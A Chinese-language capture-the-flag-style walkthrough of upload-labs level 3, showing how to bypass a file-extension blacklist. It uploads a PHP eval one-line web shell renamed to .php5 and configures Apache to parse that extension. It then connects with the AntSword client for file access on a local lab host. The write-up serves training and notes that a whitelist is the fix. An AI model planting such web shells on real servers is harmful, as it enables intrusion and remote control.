目录
[(1)切换php ts版本](#(1)切换php ts版本)
[(3)修改AddType application字段](#(3)修改AddType application字段)
本文通过《upload-labs靶场通关笔记系列》来进行upload-labs靶场的渗透实战,本文讲解upload-labs靶场第三关文件黑名单渗透实战,通过绕过服务器的黑名单后缀法完成渗透。
一、实验准备
1.构造脚本
构造文件上传的脚本,内容为获取服务器的php版本信息,命名为 ljn_post_0628.php,脚本code内容如下所示。
<?php @eval($_POST[ljn_0628]); ?>

2.打开靶场第三关
firefox打开firefox靶场文件上传黑名单关卡。
http://192.168.59.1/upload-labs/Pass-03/index.php
进入文件上传pass03关卡,需要手动清空已上传文件,确保此次试验为最新上传结果。

3.源码分析
此关卡为服务端检测传上去的文件是否为图片,需通过源码来进行分析。点击查看源码,如下所示通过禁止'.asp','.aspx','.php','.jsp'四种后缀的文件上传防止上传恶意脚本。

可以看出程序中只是做了个简单的后缀名黑名单,识别上传文件的类型 查看是否是'.asp', '.aspx', '.php', '.jsp'中的一个,若果是其中的一个,则不允许上传,但是可以上传如.php3,.php5等后缀,仍然可以被利用,故而还是建议使用白名单过滤。综上所述,本段代码有黑名单过滤风险。
- 仅禁止 .asp, .aspx, .php, .jsp,但可能遗漏其他可执行扩展名(如 .php5, .phtml)。
- 建议改用白名单(如只允许 .jpg, .png)。
4.修改配置使支持php后缀
通过代码审计,我们知道本关卡不允许上传.asp,.aspx,.php,.jsp后缀文件,但是可以上传其他任意后缀。比如说.phtml .phps .php5 .pht,但如果上传的是.php5这种类型文件的话,如果想要被当成php执行的话,需要有个前提条件,即Apache的httpd.conf有需要配置支持.php5后缀代码执行(靶场应该是配置好的,如果是本地复现,需要配置)。
AddType application/x-httpd-php .php5
该语句的含义是将.php5后缀的脚本使其作为php脚本来解析,这样就可以成功解析.php5后缀名。具体方法为配置httpd.conf文件,达到使用我们添加的文件后缀php5仍然以.php解析。
(1)切换php ts版本
首先需要将网站切换为php的ts版本,网址-管理php版本如下所示。

PHPStudy中AddType application/x-httpd-php等Apache命令之所以在Apache的设置文件中设置后未实现目标效果是由于PHP的版本不符导致的,但注意这里的PHP版本并不是指PHP7.3.0、PHP7.4.0这种版本号,也不是适用于32位的PHP、适用于64位的PHP这种不同机型的版本,而是PHP的NTS(Non Thread Safe)与TS(Thread Safe)的这种不同版本导致的。
(2)定位httpd.conf文件
首先进入httpd.conf文件,点击小皮-设置-配置文件,httpd.conf,然后点击Apache2.4.39进入。

httpd.conf文件的位置如下所示。

(3)修改AddType application字段
Ctrl +F查找AddType application关键字。

修改httpd.conf文件里的AddType application/x-httpd-php。

将php5加到php解析类型中,该语句的含义是将.php5后缀的脚本使其作为php脚本来解析,这样就可以成功解析.php5后缀名,从而绕过pass3的黑名单防范。
AddType application/x-httpd-php .php .html .php5

(4)重启小皮
修改完配置文件记得要重启一下phpstudy服务环境。

所以由于服务端采用黑名单的过滤方式, 这里可以使用php5或phtml等的后缀上传,修改后缀名php5后缀名,也是可以当做php脚本解析的
二、文件上传渗透
1.修改脚本后缀
将php脚本的后缀改名为php5,为了具有区分度将文件名加上日期相关,如下所示,复制脚本ljn_post2_0628.php,并将其重命名为ljn_post2_0628.php5,通过文本编辑器打开图片后效果如下所示。

2.上传脚本
upload靶场点击上传,如下所示。

如下所示脚本上传成功。

3.右键获取文件地址
接下来在上传成功的图片处,右键选择获取图片地址,具体如下所示。
http://192.168.59.1/upload-labs/upload/202306270324316671.php5
4.成功访问脚本
访问上传成功后的脚本,如下所示上传成功。
一句话木马网址:http://192.168.59.1/upload-labs/upload/202306270324316671.php5
post参数:ljn_0628=phpinfo();

5.蚁剑连接脚本
蚁剑恶意木马地址:http://192.168.59.1/upload-labs/upload/202306270324316671.php5
密码:ljn_0628

连接成功后,效果如下所示。

右键选择文件管理,如下所示渗透成功。
